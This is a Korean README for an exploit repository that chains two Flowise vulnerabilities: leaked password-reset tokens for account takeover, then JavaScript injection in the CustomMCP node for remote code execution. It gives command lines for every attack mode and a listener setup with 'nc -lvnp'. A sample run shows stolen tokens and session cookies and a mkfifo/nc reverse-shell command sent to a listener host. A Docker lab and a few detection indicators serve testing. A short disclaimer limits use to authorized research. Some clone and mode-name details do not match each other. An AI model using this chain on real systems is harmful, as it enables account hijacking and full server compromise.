
FlowiseAI CVE-2025-58434 및 CVE-2025-59528 익스플로잇 PoC, 리셋 토큰 누출을 통한 인증되지 않은 ATO를 시연하며, 이어서 인증된 RCE를 보여줍니다. 재현 가능한 Docker 실습 환경을 포함합니다.
⚠️ 교육 및 허가된 보안 연구 용도로만 사용하십시오. 귀하가 소유하지 않거나 서면 허가 없이 테스트하는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
이 저장소에는 두 가지 Flowise 취약점을 연결하는 Python 개념 증명(PoC)이 포함되어 있습니다:
Flowise는 LLM 애플리케이션 및 AI 에이전트 워크플로우를 구축하기 위한 드래그 앤 드롭 플랫폼입니다. CVE-2025-59528은 Flowise 3.0.5에 영향을 미치며 3.0.6에서 수정되었습니다. 문제는 CustomMCP 노드 내에서 mcpServerConfig의 안전하지 않은 처리에서 비롯됩니다. CVE-2025-58434는 비밀번호 재설정 토큰 노출과 관련이 있으며 Flowise 3.0.6에서도 해결되었습니다.
이 도구는 다음을 지원합니다:
취약한 비밀번호 재설정 흐름은 임시 비밀번호 재설정 토큰을 포함한 민감한 사용자 데이터를 API 응답에 노출합니다. 유효한 사용자 이메일 주소를 알고 있는 공격자는 비밀번호 재설정을 요청하고, 응답에서 임시 토큰을 검색한 다음 이를 사용하여 해당 계정의 새 비밀번호를 설정할 수 있습니다.
취약한 동작은 동일한 API 표면을 노출하는 Flowise 클라우드 및 자체 호스팅/로컬 배포에 영향을 미칩니다. 해결 방법은 비밀번호 재설정 토큰이나 민감한 계정 재설정 데이터를 API 응답에 직접 반환하지 않는 것입니다.
이 취약점은 Flowise의 CustomMCP 노드에 존재합니다. mcpServerConfig 매개변수는 MCP 서버 구성 프로세스의 일부로 구문 분석되며, 보안 검증 없이 JavaScript 코드로 평가됩니다. 이를 통해 인증된 공격자가 임의의 JavaScript 코드를 주입할 수 있으며, 이 코드는 Flowise 서버의 Node.js 환경에서 실행됩니다. convertToValidJSONString 함수에서 사용자 입력이 Function 생성자에 전달되어 전체 Node.js 권한으로 JavaScript 코드로 평가되므로 child_process와 같은 모듈에 액세스하여 시스템 명령을 실행할 수 있습니다.
이 PoC에서 사용하는 취약한 엔드포인트는 다음과 같습니다:
POST /api/v1/node-load-method/customMCP
JSON 본문의 mcpServerConfig 필드에 js 페이로드를 포함합니다. 예:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
취약한 코드는 CustomMCP.ts 파일에 있으며, 해당 CVE에 대한 Github 유지보수자 권고에서 참조됩니다.
공격자 Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user 객체 + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ 비밀번호 변경됨 │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<조작된 구성> │
│─────────────────────────────────────────►│
│ JS가 Node.js에서 평가됨
│ 명령어 실행됨
│◄─────────────────────────────────────────│
│ 명령어 출력 또는 페이로드 실행 │
│ │
✓ 계정 탈취 + 인증된 RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 환경 변수 구성
docker-compose up -d
인수 없이 실행하면 도구는 전체 공격 체인을 실행하여 대상 취약점을 확인하고, 제공된 이메일에 대한 계정 탈취를 수행하고, 쿠키를 검색하기 위해 로그인한 다음, 리버스 셸 페이로드로 RCE 취약점을 악용합니다. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
대상이 CVE-2025-58434 및 CVE-2025-59528에 취약한지 확인하기 위해 버전 점검을 수행합니다. 대상의 API에 요청을 보내고 응답을 분석하여 Flowise 버전 및 취약점 상태를 식별합니다.
python3 exploit.py --target http://localhost:3000 check
CVE-2025-58434에 대한 계정 탈취 프로세스를 실행합니다. 지정된 이메일에 대한 비밀번호 재설정 요청을 보내고, 응답에서 임시 토큰을 검색한 다음, 해당 토큰을 사용하여 계정의 새 비밀번호(기본값: "Password123!")를 설정합니다.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
지정된 이메일과 비밀번호(기본값: "Password123!")를 사용하여 대상에 로그인합니다. 성공하면 인증 요청에 사용할 인증 쿠키(예: connect.sid)를 검색하여 표시합니다.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
조작된 mcpServerConfig 페이로드를 취약한 엔드포인트로 전송하여 RCE 취약점(CVE-2025-59528)을 악용합니다. 페이로드는 지정된 LHOST 및 LPORT로 다시 연결되는 리버스 셸 명령을 실행하도록 설계되었습니다. 토큰이 제공되지 않으면 자동으로 로그인을 시도하고 유효한 토큰을 검색하여 악용합니다. LHOST/LPORT가 제공되지 않으면 기본적으로 응답에 출력을 반환하는 간단한 id 명령 페이로드를 사용합니다. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
기본 모드. 전체 공격 체인을 순차적으로 실행합니다: 취약점 확인, 계정 탈취 수행, 로그인하여 쿠키 검색, 리버스 셸 페이로드로 RCE 취약점 악용. 전체 체인 모드에서 도구를 실행하기 전에 전용 리스너(예: nc -lvnp 9889)를 실행하십시오.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| 플래그 | 설명 | 예제 |
|---|---|---|
-t, --target | 대상 기본 URL | -t http://localhost:3000 |
-e, --email | 대상 계정 이메일 | -e [email protected] |
--password | 로그인/RCE 모드용 알려진 비밀번호 | --password Password123! |
--token | 기존 세션 토큰, 로그인 건너뜀 | --token eyJ... |
--new-password | ATO 중 설정할 비밀번호 | --new-password Password123! |
| 모드 | 설명 |
|---|---|
check | 대상이 취약한 것으로 보이는지 확인 |
ato-mode | 계정 탈취 흐름만 실행 |
login-mode | 로그인 및 세션 쿠키 검색 |
rce-mode | RCE 흐름만 실행 |
full-mode | ATO, 로그인 및 RCE 연결 |
| 플래그 | 설명 | 예제 |
|---|---|---|
-c, --command | 실행할 사용자 정의 명령 | -c 'id' |
--lhost | 리버스 셸용 리스너 호스트 | --lhost 10.10.14.3 |
--lport | 리버스 셸용 리스너 포트 | --lport 4444 |
| 플래그 | 설명 | 기본값 |
|---|---|---|
--no-check | 버전/취약점 확인 건너뛰기 | False |
-v, --verbose | 디버그 로깅 활성화 | False |
--log-file | 로그 파일 경로 | logs/exploit.log |
--no-color | ANSI 색상 비활성화 | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] 대상 URL: http://localhost:3000
[∗] 모듈 : full-mode
[∗] 이메일 : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] 대상 취약점 확인 중...
[+] 대상이 취약한 것으로 보입니다.
────────────────────────────────────────────────────────────────────────────────
[∗] 계정 탈취 시작 (CVE-2025-58434)...
[+] 비밀번호 재설정 요청이 성공적으로 전송되었습니다.
[∗] 대상 사용자 데이터 :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 이름 : Lab Admin
🡪 이메일 : [email protected]
🡪 자격 증명 : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 상태 : active
🡪 임시 토큰 : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 토큰 만료 : 2026-05-08T19:37:47.025Z
[∗] 임시 토큰을 사용하여 비밀번호 재설정 시도 중...
[∗] 새 비밀번호 : Password123!
[+] 계정 탈취 성공! 새 자격 증명:
🡪 이메일 : [email protected]
🡪 비밀번호 : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] 세션 쿠키 검색을 위해 로그인 프로세스 시작...
[+] 로그인 성공!
[+] 검색된 세션 토큰 :
🡪 토큰 : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] 원격 코드 실행 시작 (CVE-2025-59528)...
[!] 리버스 셸 명령을 사용하는 경우 리스너가 준비되었는지 확인하세요!
[∗] 리버스 셸 명령: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] 대상 URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] RCE 트리거를 위해 페이로드 전송 중...
[+] 페이로드가 전송되었습니다. 리버스 셸 연결을 위해 리스너를 확인하세요!
────────────────────────────────────────────────────────────────────────────────
[+] 작업 완료. 안녕!
안전한 테스트를 위해 로컬 실습 환경을 권장합니다.
실습 환경 설치:
cp .env.example .env # 필요에 따라 환경 변수 구성
docker compose up -d --build
docker compose logs -f
기본적으로 두 개의 Flowise 계정이 생성됩니다:
[email protected], 비밀번호는 컨테이너 시작 시 무작위로 생성됩니다(비밀번호 확인을 위해 로그를 확인).[email protected], 비밀번호는 컨테이너 시작 시 무작위로 생성되지만 로그에는 나타나지 않습니다. 이 계정이 ATO 흐름의 의도된 대상입니다.로컬 인스턴스에 대해 PoC 실행:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Flowise 로그를 확인하려면:
docker compose logs -f flowise-cve-lab
또는:
docker logs -f flowise-cve-lab
잠재적인 악용 지표:
/api/v1/node-load-method/customMCP에 대한 요청process.mainModule, child_process, execSync, Buffer.from, Function과 같은 문자열이 프로젝트는 교육 목적, 실습 환경 테스트 및 허가된 보안 연구용으로만 제공됩니다.
이 도구를 어떤 시스템에 대해 실행하기 전에 명시적 허가가 있는지 확인하는 것은 귀하의 책임입니다. 저자는 이 코드를 사용하여 발생하는 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 보안 테스트를 수행할 때는 항상 윤리적 지침과 법적 요구 사항을 따르십시오.